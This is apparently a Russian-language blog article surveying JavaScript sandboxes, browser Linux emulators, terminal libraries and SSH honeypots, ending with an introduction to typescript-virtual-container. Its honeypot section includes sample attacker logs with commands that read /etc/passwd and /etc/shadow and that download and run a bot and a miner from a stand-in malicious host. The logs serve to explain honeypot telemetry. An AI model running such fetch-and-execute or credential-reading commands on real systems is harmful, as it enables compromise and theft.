Фундаментальная проблема архитектурная -- и это урок, который всей экосистеме потребовалось время, чтобы усвоить. Нельзя построить безопасную песочницу, используя тот же язык, который ты изолируешь, на том же движке, в том же процессе. Поверхность побега -- это вся реализация V8 -- а V8 -- это несколько миллионов строк C++, которые постоянно меняются. Каждая новая возможность JS потенциально открывает новый путь атаки.

Вердикт: Не использовать для security-чувствительных приложений. Даже в последней версии новые обходы обнаруживаются каждые несколько месяцев. Сам мейнтейнер открыто это признал.


1.3 isolated-vm -- тот, который реально работает

isolated-vm использует правильный подход: применяет собственный примитив изоляции V8 -- Isolate. Каждый V8 Isolate имеет свою кучу, свой сборщик мусора, свой набор встроенных объектов и нулевые общие ссылки с другими Isolate.

Это та же граница, которую Chrome использует между вкладками. Это реальная граница безопасности, а не трюк на уровне языка, построенный на Proxy.

import ivm from "isolated-vm";

// Each isolate is its own V8 heap
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // MB cap
const context = await isolate.createContext();
const jail = context.global;

// Passing data across the boundary requires explicit serialization
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // Can't reach host process, host heap, or host modules
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// You can hard-terminate on timeout or memory limit
isolate.dispose(); // frees the entire heap

Типы Reference и ExternalCopy -- это явный мост для коммуникации. Reference даёт изоляту вызываемый дескриптор функции хоста -- изолят может её вызвать, но не может инспектировать её замыкание или прототип. ExternalCopy сериализует значение (структурированное клонирование) через границу кучи. Эта модель явного моста неудобна, но именно она делает изоляцию реальной.

Ты можешь устанавливать жёсткие лимиты ресурсов: память (изолят завершается, если превышает лимит), таймаут по настенному времени и таймаут по CPU. Завершение реальное -- оно убивает весь V8 Isolate, а не просто JS-таймаут, который можно обойти с помощью while(true).

Ограничения: только JS. Внутри нельзя запустить bash. Нет понятия файлов, прав доступа, сети или процессов. Это идеальный инструмент для пользовательского JS (плагины, формулы, скриптовые хуки) и неподходящий инструмент для всего остального. Автор typescript-virtual-container упомянула, что рассматривала его в начале, прежде чем поняла, что «запуск команд оболочки» и «изоляция JavaScript» -- принципиально разные проблемы.

Память: ~3–10 МБ на пустой изолят, растёт с использованием кучи.
Безопасность: сильная. Граница V8 Isolate -- реальный примитив изоляции.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- отдельный JS-движок, скомпилированный в Wasm

Другой подход: вместо изоляции внутри V8 запустить полностью отдельный JavaScript-движок, скомпилированный в WebAssembly. Хост работает в V8/Node. Гость работает в QuickJS-внутри-Wasm. Песочница Wasm обеспечивает границу изоляции.

QuickJS -- снова работа Фабриса Беллара (тот же парень, что стоит за QEMU, FFmpeg, JSLinux, TinyEMU -- этот человек genuinely нереален, как один человек может сделать всё это?). Это маленький, соответствующий спецификации ES2023 JS-движок, написанный на C, и при компиляции в Wasm он весит всего ~500 КБ.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // Runs in QuickJS, completely separate from V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS -- это маленький, соответствующий спецификации ES2023 JavaScript-движок, написанный на C. Скомпилированный в Wasm, он весит ~500 КБ для синхронного варианта, ~1 МБ для асинхронного (Asyncify). Управление памятью ручное -- каждое значение, которое ты извлекаешь из VM, нужно явно освобождать, что немного раздражает, но предотвращает сюрпризы GC на границе. Забавный компромисс!

Обёртка @sebastianwessel/quickjs добавляет более эргономичный API поверх, с опциональной виртуальной файловой системой, поддержкой fetch и заглушками для Node.js-модулей:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

Модель безопасности отличается от isolated-vm: модель линейной памяти Wasm означает, что гость не может напрямую получить доступ к объектам кучи V8. Поверхность атаки -- это интерфейс хост↔Wasm (импорты/экспорты), а не весь язык JavaScript. Обычно это считается более надёжным, чем песочницы на основе Proxy.

Загвоздка: QuickJS не имеет такого же уровня оптимизации, как V8. Для задач, нагружающих CPU, он в 5–20 раз медленнее V8. Для коротких фрагментов и недоверенного eval это обычно не имеет значения.

Память: ~500 КБ Wasm-модуль + куча на инстанс.
Безопасность: граница Wasm, считается сильнее подходов на основе Proxy.
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- среда выполнения с безопасностью по умолчанию

Deno использует совершенно другую философию: вместо песочницы внутри Node создать новую среду выполнения, которая безопасна по умолчанию. Мне очень нравится этот подход -- это то, чем Node.js должен был быть с самого начала, честно. Райан Даль (создатель оригинального Node.js) буквально сделал Deno, потому что пожалел о некоторых архитектурных решениях Node.js, что довольно дико, если задуматься.

Каждая чувствительная возможность (чтение файлов, запись файлов, сеть, окружение, подпроцессы) требует явного флага --allow-*:

# This can only read from /data, nothing else
deno run --allow-read=/data script.ts

# This can fetch only one domain
deno run --allow-net=api.example.com script.ts

# No flags = no permissions at all
deno run untrusted.ts # can't read, write, network, spawn

Модель разрешений реализована на уровне Rust/OS -- это не JS-трюк. Когда код Deno вызывает Deno.readFile(), он проходит через Rust-операцию, которая проверяет таблицу разрешений перед касанием файловой системы. Ты не можешь обойти это из JS, потому что системный вызов никогда не произойдёт, если разрешение не предоставлено.

Для запуска действительно недоверенного кода Deno Workers (Web Workers) предоставляют второй изолят в том же процессе, каждый со своим набором разрешений. Ты можешь запустить worker с нулевыми разрешениями и общаться с ним через postMessage.

Deno 2 (выпущен в октябре 2024) добавил полную совместимость с npm и заглушки совместимости с Node.js, что значительно улучшило его принятие для серверных сценариев использования.

Компромисс: модель безопасности Deno отлична для кода, которому ты можешь частично доверять. Для полностью недоверенного кода, который может быть вредоносным, модель разрешений не помогает -- тебе нужна граница Isolate (isolated-vm) или другой движок (quickjs-emscripten), потому что Deno всё ещё использует V8, и искушённые атакующие могут найти V8-баги.


1.6 TC39 ShadowRealm -- стандартный ответ (в конце концов)

Стандартизационный орган JavaScript (TC39) имеет предложение под названием ShadowRealm, которое пытается стандартизировать то, что пытались сделать vm и vm2, но с правильной моделью безопасности. ShadowRealm создаёт изолированный контекст выполнения JS с собственным набором встроенных объектов, без доступа к внешнему окружению и с тщательно контролируемым интерфейсом импорта/экспорта.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Separate intrinsics, no access to outer realm
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm есть в браузерах (Chrome 90+, Firefox 105+), но по состоянию на 2026 год его ещё нет в стабильном Node.js. Предложение TC39 Compartments строится на нём для изоляции на уровне модулей. Это долгосрочные стандартизированные ответы, но они ещё не готовы к production для серверных сценариев использования в Node. Это одна из тех вещей, которые ты видишь издалека, но их просто... ещё нет. Классический TC39 xD


Сводка семейства песочниц

vm vm2 isolated-vm quickjs-emscripten Deno Workers
Граница изоляции нет (только область видимости) Proxy (сломан) V8 Isolate Wasm V8 Isolate + Rust perms
Лимит памяти ❌ ❌ ✅ жёсткий ✅ куча Wasm частично
Таймаут CPU ❌ ✅ (обходится) ✅ жёсткий ✅ ✅
Безопасность никакая сломана сильная сильная сильная
Скорость JS нативный V8 нативный V8 нативный V8 ~10x медленнее нативный V8
Браузер ❌ ❌ ❌ ✅ ❌
Node совместимость нативная ✅ ✅ частичные заглушки частичная
Статус стабильный рискованный (новые CVE) ✅ активный ✅ активный ✅ активный
RAM на инстанс ~1 МБ ~5–20 МБ ~3–10 МБ ~5–15 МБ ~10–30 МБ

Вывод: если ты заботишься о безопасности, есть ровно два реальных варианта -- isolated-vm (нативный аддон, V8 Isolate, полная скорость JS) и quickjs-emscripten (Wasm, совместимость с браузерами, ~10x медленнее для вычислительно-тяжёлого кода). Всё остальное -- либо «пожалуйста, не надо» (vm, vm2), либо среда выполнения, решающая совсем другую проблему (Deno). ShadowRealm может изменить эту картину когда-нибудь, но пока что нет.


Часть 2 -- Эмуляторы Linux на JavaScript

Вот где всё становится действительно интересным для меня. Это настоящие эмуляторы -- они реализуют набор инструкций процессора на JavaScript или WebAssembly, загружают реальный образ ядра Linux и запускают реальные пользовательские бинарники. Изоляция достигается за счёт того, что гость и хост ничего не разделяют: разные пространства памяти, разные потоки инструкций.

Цена, которую ты платишь, огромна, но то, что ты получаешь, действительно примечательно: настоящий Linux, реально работающий, в твоём браузере или Node-процессе. Это довольно безумно, если задуматься, да?

2.1 v86 -- эмулятор ПК x86 на JS + Wasm JIT

v86 от Fabrice (копия на GitHub) -- самый функциональный эмулятор x86 с открытым исходным кодом на JavaScript. Он начинался как чистый JS-интерпретатор около 2013 года и превратился в JIT-компилируемую систему, где базовые блоки x86 транслируются в WebAssembly на лету, что значительно улучшает производительность.

Что он эмулирует:

  • CPU: x86-32 (IA-32), набор инструкций примерно на уровне Pentium 1. Нет поддержки 64-бит (x86-64) -- это жёсткое архитектурное ограничение, а не отсутствующая функция.
  • FPU: через JavaScript Float64Array. x87 имеет 80-битную расширенную точность; JS double -- 64-битный. Это означает, что результаты операций с плавающей точкой могут незначительно отличаться от реального CPU.
  • Память: настраиваемая, отображается на SharedArrayBuffer или ArrayBuffer в куче JS.
  • Железо: 8254 PIT (таймер), 8259 PIC (контроллер прерываний), 8042 контроллер клавиатуры (PS/2), CMOS RTC, VGA с расширениями SVGA и Bochs VBE, IDE-контроллер, контроллер флоппи-дисковода (8272A), сетевая карта NE2000.
  • BIOS: использует SeaBIOS (открытый x86 BIOS).

JIT работает путём идентификации базовых блоков (последовательностей x86-инструкций без переходов), трансляции их в WebAssembly-функцию, кеширования этой функции и вызова её при последующих выполнениях того же блока. Горячие участки кода получают производительность нативного Wasm. Холодные пути возвращаются к JS-интерпретатору.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// Capture serial output (Linux kernel console)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Send input to the guest (type into the shell)
emulator.serial0_send("ls /\n");

Поддерживаемые ОС: Alpine Linux (отлично), Ubuntu 16.04/18.04 (только i386), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (с оговорками), MS-DOS.

Время загрузки: 15–40 секунд для Alpine Linux с чистого образа. Это присуще реальной инициализации ядра -- её нельзя пропустить. Да, твои пользователи будут сидеть и смотреть на загрузку ядра в своём браузере. Такова сделка xD

Минимум памяти: 100–256 МБ на инстанс. Только кеш JIT-кода Wasm может достигать десятков МБ для активного Linux-инстанса.

Использование в Node.js: полностью поддерживается. DOM не нужен -- вывод VGA можно игнорировать, если тебя интересует только последовательный порт.

Что нельзя сделать: запускать 64-битные бинарники, использовать современные возможности ядра (eBPF, io_uring и т.д.) или запускать более нескольких инстансов одновременно без превышения лимитов памяти.

npm: v86 -- обновляется постоянно, последняя публикация -- в течение последнего дня на момент написания.
GitHub: copy/v86
Демо: copy.sh/v86


2.2 JSLinux и TinyEMU -- работа Беллара, дважды

JSLinux -- это собственный эмулятор Linux на JavaScript от Фабриса Беллара -- первый в своём роде, опубликованный в 2011 году. Я постоянно упоминаю Беллара в этой статье, потому что он продолжает всплывать: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. Этот человек -- нечто иное. Один из самых впечатляющих сольных технических вкладов в историю программного обеспечения, без преувеличения.

Оригинальный JSLinux был чистым JS-интерпретатором x86. В 2016 году Беллар написал TinyEMU (эмулятор RISC-V на C), скомпилировал его в JavaScript через Emscripten, и это стало основой для текущего JSLinux. Так что текущий JSLinux -- это на самом деле C-код, который генерирует JavaScript, а не написанный вручную JS вообще.

Технические заметки на сайте Беллара стоит почитать: текущий JSLinux запускает 32- или 64-битный RISC-V CPU (не x86), эмулируя VirtIO-консоль, VirtIO-сеть, VirtIO-блочное устройство и файловую систему 9P для обмена файлами с хостом. JS-демо скомпилировано из C с использованием Emscripten -- это не написанный вручную JS.

Сам TinyEMU поддерживает:

  • RISC-V RV32IMAFDQC и RV64IMAFDQC (32 и 64-бит, с плавающей точкой, умножением, сжатыми инструкциями)
  • x86 через KVM (только нативный, без эмуляции -- так что JS-версия только RISC-V)
  • VirtIO консоль, сеть, блок, ввод, файловую систему 9P

У TinyEMU есть JavaScript-демо, предоставленное через Emscripten. Это основа для JSLinux и также используется container2wasm (см. раздел 2.5).

Статус JSLinux: нет npm-пакета, нет программного API. Это демо, которое ты открываешь в браузере. Историческая значимость высока -- он доказал концепцию. Практическое использование как библиотеки: никакое.

TinyEMU: нет на npm, C-исходники доступны на bellard.org/tinyemu.


2.3 jor1k -- эмулятор OR1K

jor1k -- это эмулятор OpenRISC 1000 (OR1K), написанный на JavaScript Себастьяном Макке. Он интересен с исторической точки зрения, потому что jor1k представил поддержку файловой системы VirtIO 9P, которую Беллар позже включил в TinyEMU и JSLinux. Перекрёстное опыление между этими проектами очень тесное -- они все заимствуют друг у друга, что, честно говоря, одна из самых крутых вещей в работе с открытым исходным кодом в эмуляции.

Статус: больше не поддерживается активно, нет npm-пакета. На данный момент заархивирован. Стоит знать в основном для исторического контекста -- если кто-то упомянет jor1k в разговоре, теперь ты знаешь, что это :)


2.4 CheerpX -- коммерческий эмулятор x86 для браузера

CheerpX от Leaning Technologies -- это коммерческий, production-grade эмулятор x86 Linux. Он не с открытым исходным кодом, но значительно более функционален, чем v86, для запуска реального пользовательского окружения Debian/Ubuntu. Если тебе нужен настоящий VSCode в браузере, это то, что тебе нужно.

Ключевые отличия от v86:

  • Поддерживает более широкий ISA (больше расширений x86, лучшая совместимость с glibc)
  • Файловая система на основе IndexedDB в браузере (постоянная между загрузками страниц)
  • Поддержка pthread через SharedArrayBuffer (требует заголовков COOP/COEP -- да, те самые надоедливые заголовки безопасности)
  • Предназначен для запуска VSCode, Python, Node.js и других реальных приложений, а не только минимальных образов ОС
  • Профессиональная поддержка и SLA доступны (то есть можно на кого-то покричать, если что-то сломается)

Типичный сценарий использования -- «запустить реальное Linux-приложение в браузере без сервера». Компании используют его для браузерных IDE, туториалов по программированию и интерактивной документации.

// CheerpX API (simplified)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Совместимость с Node.js: CheerpX ориентирован на браузер. Базовый эмулятор теоретически может работать в Node (это Wasm), но API и документация целиком ориентированы на использование в браузере. Серверное использование не поддерживается.

Память: аналогично v86 -- 200+ МБ для реального инстанса Debian.
Цены: бесплатно для проектов с открытым исходным кодом, коммерческая лицензия для production SaaS.
Документация: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js в Wasm, а не эмуляция Linux

WebContainers часто объединяют с эмуляторами Linux, но архитектурно они отличаются. Они не эмулируют x86. Они не загружают Linux. Они запускают Node.js, скомпилированный в WebAssembly с использованием WASI. Это различие очень важно, и я потратил слишком много времени, путаясь в этом сам lol.

Думаю, путаница возникает из-за маркетинга -- «запустить Node.js в браузере» звучит как эмуляция, но это на самом деле сам Node.js, скомпилированный в Wasm, а не эмуляция Linux, запускающая Node.js внутри VM. Совершенно разные вещи.

Архитектура:

  1. Node.js скомпилирован в Wasm (специфическая кастомная среда выполнения WASI)
  2. Service Worker перехватывает сетевые запросы от эмулируемого Node.js-сервера и направляет их на вкладку браузера
  3. Файловая система живёт в памяти браузера (нет дискового I/O)
  4. npm -- это кастомная реализация, оптимизированная для использования в браузере
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Write files
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Run Node.js commands
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Поскольку он запускает настоящий Node.js (скомпилированный в Wasm), ты получаешь настоящий npm, настоящие Node.js API и настоящую систему разрешения модулей. Ты не получаешь универсальное пользовательское окружение Linux -- ты не можешь устанавливать системные пакеты через apt, запускать произвольные скомпилированные бинарники или делать что-то за пределами экосистемы Node.js.

Требования к браузеру: SharedArrayBuffer (требует заголовки COOP/COEP), поддержка Service Worker, современный Wasm.

Совместимость с Node.js: разработан исключительно для использования в браузере. API не работает вне браузерного контекста.

npm: @webcontainer/api
Документация: webcontainers.io


2.6 container2wasm -- Docker-контейнеры, скомпилированные в Wasm

container2wasm -- это инструмент (не npm-пакет) от NTT, который берёт образ Docker-контейнера и преобразует его в WebAssembly-бинарник, который можно запустить в любом Wasm-хос -- включая браузер. Когда я впервые это увидел, я искренне не поверил, что это работает.

Механизм:

  • Для x86_64 контейнеров: встраивает Bochs (эмулятор x86, скомпилированный в Wasm) + корневую файловую систему контейнера
  • Для riscv64 контейнеров: встраивает TinyEMU (снова Беллар!) + корневую файловую систему контейнера
  • Результирующий .wasm файл загружает эмулятор, монтирует файловую систему контейнера и запускает точку входа контейнера
# Convert Ubuntu 22.04 container to Wasm
c2w ubuntu:22.04 out.wasm

# Run it
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# Or serve it for browser use
c2w --to-js ubuntu:22.04 /tmp/htdocs/

Результирующий .wasm большой -- минимальный Ubuntu весит несколько сотен МБ -- но он полностью самодостаточен. Ты можешь отправить кому-нибудь .wasm по email, и они смогут запустить Ubuntu в своём браузере. Это предложение не должно иметь смысла, но вот мы здесь.

GitHub: container2wasm/container2wasm


Сводка семейства эмуляторов

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Архитектура x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (проприетарный) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Реальное ядро ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-бит ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
npm пакет ✅ ❌ ❌ CDN/API ✅ ❌ (CLI)
Исп. в Node.js ✅ ❌ ❌ ❌ ❌ (только браузер) через Wasmtime
Исп. в браузере ✅ ✅ ✅ ✅ ✅ ✅
RAM/инстанс 150–256 МБ ~64–128 МБ ~64 МБ 200+ МБ ~100 МБ ~200–500 МБ
Время загрузки 15–40с 10–30с 10–30с 15–40с 2–5с 10–40с
Открытый исходный ✅ ✅ ✅ ❌ частично ✅
Статус ✅ очень активен ✅ стабилен ⚠️ архивирован ✅ коммерческий ✅ активен ✅ активен

Что бросается в глаза из этой таблицы: v86 -- единственный, кто является npm-пакетом, работает и в браузере, и в Node, и имеет открытый исходный код. Вот почему он доминирует в разговорах об «эмуляторе Linux на JavaScript». У всего остального есть какие-то недостатки -- у JSLinux нет API, jor1k заархивирован, CheerpX платный, WebContainers только для браузера и специфичны для Node, container2wasm требует этапа сборки и CLI. Если тебе просто нужно «загрузить Linux на JavaScript», v86 почти всегда правильная отправная точка.


Часть 3 -- Терминальные стеки: xterm.js и node-pty

Два пакета постоянно всплывают, когда люди строят интерфейсы, похожие на командную строку. Они не песочницы и не эмуляторы -- это UI и PTY-прокладки -- но они настолько близки, что мне было бы неловко их не упомянуть. К тому же я использовал их оба, и они действительно хороши.

3.1 xterm.js -- рендерер терминала

xterm.js -- это эмулятор терминала для браузера. Он отрисовывает экран терминала (управляющие последовательности VT100/xterm) в элементе <canvas>, обрабатывает ввод с клавиатуры и предоставляет API для передачи данных внутрь и наружу.

Используется: встроенным терминалом VS Code, Azure Cloud Shell, Proxmox VE, AWS CloudShell и многими другими.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Send data to the terminal (rendered as text)
term.write("$ ");
term.onData(data => {
  // data is keystrokes -- send to your backend
  socket.send(data);
});
socket.onmessage(msg => {
  // output from backend -- display it
  term.write(msg.data);
});

xterm.js -- это только слой рендеринга. Он не запускает оболочку. Он не интерпретирует команды. Это виджет отображения, который ты подключаешь к любому бэкенду. Многие думают, что xterm.js «делает терминал», но на самом деле это просто экран -- тебе всё ещё нужно соединить его с чем-то, что действительно запускает команды.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- запуск PTY

node-pty запускает псевдотерминал (PTY) в Node.js и даёт тебе дескриптор для чтения/записи. Используется с xterm.js, позволяя тебе построить браузерный терминал, который общается с реальной оболочкой (bash, zsh, fish), работающей на сервере.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // Send to browser xterm.js via WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // Forward browser keystrokes to shell
  shell.write(data);
});

Это стандартный паттерн для облачных IDE и веб-терминалов: xterm.js (браузер) ↔ WebSocket ↔ node-pty ↔ настоящий bash. Никакой изоляции. Оболочка работает с полными правами процесса Node.js (или того пользователя, который его запускает).

Поддерживается: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


Часть 4 -- SSH honeypot'ы

Honeypot'ы созданы для того, чтобы на них нападали. Цель -- выглядеть достаточно реально, чтобы атакующие взаимодействовали с ними, записывая всё, что они делают, для разведки угроз. SSH является основной целью, потому что это самая атакуемая служба в интернете -- если ты откроешь порт 22 на публичном IP, ты увидишь автоматические попытки сканирования в течение буквально минут. Попробуй как-нибудь, это довольно жутко, как быстро это происходит.

Качество honeypot'а измеряется двумя вещами: достоверностью (насколько убедительно он притворяется реальной системой) и телеметрией (сколько полезных данных он захватывает). Они находятся в противоречии. Honeypot с высокой достоверностью сложнее построить и рискованнее эксплуатировать.

Этот раздел в конечном счёте привёл меня к созданию модуля HoneyPot в typescript-virtual-container, так что у меня здесь есть некоторые мнения.

4.1 Cowrie -- золотой стандарт

Cowrie -- это Python-based SSH и Telnet honeypot среднего-высокого взаимодействия. Это самый широко развёрнутый SSH honeypot в исследовательском сообществе и сообществе безопасности.

Архитектура:

  • Уровень протокола: настоящая реализация протокола SSH (Twisted Conch), так что атакующие получают реальное рукопожатие, реальный обмен ключами, реальную аутентификацию
  • Уровень оболочки: фейковая файловая система (напоминающая Debian 5.0) и частичный интерпретатор командной строки, который отвечает на распространённые команды
  • Режим прокси: может перенаправлять на реальную систему позади (режим высокого взаимодействия), записывая всё, что через него проходит
  • LLM режим (недавнее дополнение): использует языковую модель для генерации динамических ответов на команды, которые он не знает, как обрабатывать -- да, теперь у Cowrie есть AI-режим. Дикие времена.
# What Cowrie captures
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie сохраняет загруженные файлы (через wget/curl/SFTP/SCP) для анализа вредоносного ПО. Он интегрируется с Splunk, Elasticsearch и другими SIEM-платформами.

Достоверность: средне-высокая. Достаточно убедительно, чтобы обмануть автоматических ботов (а это 99% SSH-атакующих -- большинство из них просто тупые скрипты, пробующие root/password). Однако искушённые люди могут его идентифицировать, обычно довольно быстро.

Язык: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- предшественник Cowrie

Kippo -- это оригинальный SSH honeypot среднего взаимодействия, на котором основан Cowrie. Та же основная идея: реальный SSH-протокол, фейковая файловая система, частичная оболочка. Cowrie полностью его заменил -- Kippo заархивирован, и никто не должен запускать его в 2026 году. Упомянут здесь исключительно для исторической полноты, так как ты можешь встретить ссылки на него в старых постах и статьях по безопасности.

GitHub: desaster/kippo -- заархивирован


4.3 endlessh -- SSH-ловушка

endlessh -- это дегенеративный honeypot: он держит SSH-соединения открытыми, медленно передавая баннер со скоростью 1 байт в секунду (или медленнее). SSH-клиент, подключающийся к нему, будет висеть бесконечно -- он никогда не дойдёт до аутентификации, потому что сервер никогда не заканчивает отправлять баннер.

Цель -- не разведка угроз, а чистое истощение ресурсов: занять потоки сканеров атакующего, чтобы они не могли так быстро атаковать реальные цели. Честно говоря, это в некотором роде зло в лучшем смысле. Ты ничего не узнаёшь от атакующего -- ты просто тратишь их время. В этом есть что-то глубоко удовлетворяющее.

// endlessh's entire protocol behavior:
// Send: "SSH-2.0-OpenSSH_" then slowly append random chars
// Never close the connection
// Attacker scanner times out after N seconds

Никакие команды не захватываются. Никакая аутентификация не проверяется. Просто время соединения.

Написан на: C
GitHub: skeeto/endlessh


4.4 sshesame -- honeypot «впусти всех»

sshesame принимает каждое SSH-соединение (любой пользователь, любой пароль, любой ключ) и всё логирует. Это honeypot с нулевым взаимодействием: он не отвечает на команды, просто впускает атакующих и записывает каждое нажатие клавиши.

2024-01-15 03:22:11 Connection from 45.33.32.156
  Username: root, Password: password123 -- accepted
  Commands typed:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Disconnected after 47s

Полезен для сбора учётных данных: ты быстро накапливаешь имена пользователей и пароли, которые пробуют боты, что говорит тебе, какие учётные данные по умолчанию в настоящее время активно брутфорсятся. Спойлер: это всегда root/password, admin/admin и root/123456. Каждый раз.

GitHub: jaksi/sshesame


4.5 Lyrebird -- фреймворк honeypot'ов на Docker

lyrebird/honeypot-base -- это базовый Docker-образ для построения honeypot'ов сетевых служб. Это не specifically SSH honeypot -- это фреймворк для построения honeypot'ов любого протокола.

Базовый образ предоставляет фреймворк для логирования, систему плагинов для протоколов и Docker Compose-настройки для многосервисных honeypot'ов. Ты расширяешь его, чтобы подделывать конкретные службы.

Docker Hub: lyrebird/honeypot-base


4.6 Создание SSH honeypot'а на Node.js -- наивный способ и почему он не работает

До typescript-virtual-container создание SSH honeypot'а на Node.js означало комбинацию реальной библиотеки ssh2 с ручной подделкой команд. Очень утомительно, очень неполно, но... это своего рода обряд посвящения:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Log the attempt
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Let everyone in
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Fake response
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

Это «работает» в том смысле, что захватывает учётные данные и команды. Но это очевидно фейк, как только искушённый атакующий ткнёт в него. uname -a возвращает правильную строку, но ls /etc возвращает «command not found» -- это выдача. Файловая система не существует. Команды не объединяются в цепочки. Пайпы не работают. Переменные не раскрываются.

Опытный атакующий идентифицирует твой honeypot за первые пять команд. Автоматические скрипты, которые проверяют поведение, похожее на Cowrie, также обнаружат его немедленно. Это, видимо, и подтолкнуло автора typescript-virtual-container к созданию чего-то, что действительно интерпретирует команды по-настоящему -- подробнее в Части 5.


Сводка семейства honeypot'ов

Cowrie Kippo endlessh sshesame Lyrebird Наивный ssh2
Уровень взаимодействия средне-высокий средний нулевой нулевой разный низкий
Реальный SSH протокол ✅ ✅ ❌ (ловушка) ✅ разный ✅
Достоверность оболочки средняя средняя n/a нет разная минимальная
Захват учётных данных ✅ ✅ ❌ ✅ ✅ ✅
Захват команд ✅ ✅ ❌ ✅ разный ✅
Захват вредоносного ПО ✅ ✅ ❌ ❌ ❌ ❌
Интеграция с SIEM ✅ native ❌ ❌ ❌ ❌ вручную
LLM ответы ✅ (новый) ❌ ❌ ❌ ❌ ❌
Язык Python Python C Go Docker Node.js
Node.js нативный ❌ ❌ ❌ ❌ ❌ ✅
Статус ✅ очень активен ⚠️ заархивирован ✅ активен ✅ активен ✅ активен DIY

Паттерн здесь довольно ясен: чем больше достоверности ты хочешь, тем больше Python тебе придётся писать. Cowrie -- явный победитель, если ты занимаешься этим серьёзно -- он проверен годами боевого применения и захватывает гораздо больше, чем просто учётные данные. endlessh и sshesame -- скорее забавные побочные проекты, чем серьёзные инструменты разведки угроз. А наивный Node.js-подход доведёт тебя, может быть, до 20% пути, прежде чем ты упрёшься в стену.


Часть 5 -- typescript-virtual-container: что заполняет пробел

Итак, вот где всё становится интересным. После каталогизации всех вышеперечисленных семейств пропущенный квадрант становится довольно очевидным:

  • JS-песочницы: изолируют код, нет оболочки, нет файловой системы, нет SSH
  • Эмуляторы Linux: реальная ОС, реальная оболочка, реальный SSH... но 150+ МБ RAM, 30-секундная загрузка, и нужно строить свой API поверх последовательного I/O
  • Honeypot'ы: фейковая оболочка, нет программного API, Python/Go/C, не Node-native

Никто не построил полное, программное, Node-native окружение Linux с реальным SSH, реальными правами доступа, реальной виртуальной сетью и типизированным TypeScript API. Поэтому она его построила.

